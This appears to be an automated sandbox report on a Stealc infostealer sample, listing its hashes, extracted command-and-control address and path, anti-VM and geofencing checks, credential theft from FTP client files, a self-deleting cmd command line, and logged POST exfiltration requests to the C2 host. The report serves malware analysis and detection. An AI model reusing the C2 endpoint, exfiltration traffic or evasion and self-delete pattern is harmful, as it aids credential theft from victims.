Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10/11/2024, 02:35 UTC
Static task
static1
Behavioral task
behavioral1
Sample
7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
Resource
win7-20240729-en
General
-
Target
7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
-
Size
2.1MB
-
MD5
6d1973227d581ada32cb4395e84299c7
-
SHA1
31522ab4124049f7c11c2289bca299fd7a9623bf
-
SHA256
7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d
-
SHA512
1e3ef405b41220227874062cb2d8392cc8c412877441a2fef5213647c0f2fdc85a4f6ff23ae9278208a2f552229126d2e6cded467c606baf76344dbba6c7ed56
-
SSDEEP
49152:DAwy6HhinLhxUBVai/WOI07sgZ+zfczx0OFLcl:D+6HhyhxUKOVQzEzeOdc
Malware Config
Extracted
stealc
tale
http://185.215.113.206
-
url_path
/6c4adf523b719729.php
Signatures
-
Stealc family
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Loads dropped DLL 1 IoCs
pid Process 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5040 timeout.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2468 wrote to memory of 1288 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 86 PID 2468 wrote to memory of 1288 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 86 PID 2468 wrote to memory of 1288 2468 7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe 86 PID 1288 wrote to memory of 5040 1288 cmd.exe 88 PID 1288 wrote to memory of 5040 1288 cmd.exe 88 PID 1288 wrote to memory of 5040 1288 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe"C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe" & del "C:\ProgramData\*.dll"" & exit2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\SysWOW64\timeout.exetimeout /t 53⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:5040
-
-
Network
-
Remote address:185.215.113.206:80RequestGET / HTTP/1.1
Host: 185.215.113.206
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK
Host: 185.215.113.206
Content-Length: 211
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD
Host: 185.215.113.206
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA
Host: 185.215.113.206
Content-Length: 472
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD
Host: 185.215.113.206
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID
Host: 185.215.113.206
Content-Length: 5004
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
GEThttp://185.215.113.206/746f34465cf17784/sqlite3.dll7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestGET /746f34465cf17784/sqlite3.dll HTTP/1.1
Host: 185.215.113.206
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK
Host: 185.215.113.206
Content-Length: 472
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF
Host: 185.215.113.206
Content-Length: 470
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF
Host: 185.215.113.206
Content-Length: 465
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
POSThttp://185.215.113.206/6c4adf523b719729.php7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exeRemote address:185.215.113.206:80RequestPOST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI
Host: 185.215.113.206
Content-Length: 465
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
-
Remote address:8.8.8.8:53Request228.249.119.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request206.113.215.185.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request69.31.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request104.219.191.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request53.210.109.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request88.210.23.2.in-addr.arpaIN PTRResponse88.210.23.2.in-addr.arpaIN PTRa2-23-210-88deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request101.209.201.84.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request23.236.111.52.in-addr.arpaIN PTRResponse
-
185.215.113.206:80http://185.215.113.206/6c4adf523b719729.phphttp7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe11.8kB 5.8kB 29 18
HTTP Request
GET http://185.215.113.206/HTTP Response
200HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
GET http://185.215.113.206/746f34465cf17784/sqlite3.dllHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404HTTP Request
POST http://185.215.113.206/6c4adf523b719729.phpHTTP Response
404
-
73 B 159 B 1 1
DNS Request
228.249.119.40.in-addr.arpa
-
74 B 134 B 1 1
DNS Request
206.113.215.185.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
69.31.126.40.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
104.219.191.52.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
53.210.109.20.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
198.187.3.20.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
88.210.23.2.in-addr.arpa
-
73 B 133 B 1 1
DNS Request
101.209.201.84.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
23.236.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
676KB
MD5eda18948a989176f4eebb175ce806255
SHA1ff22a3d5f5fb705137f233c36622c79eab995897
SHA25681a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4
SHA512160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85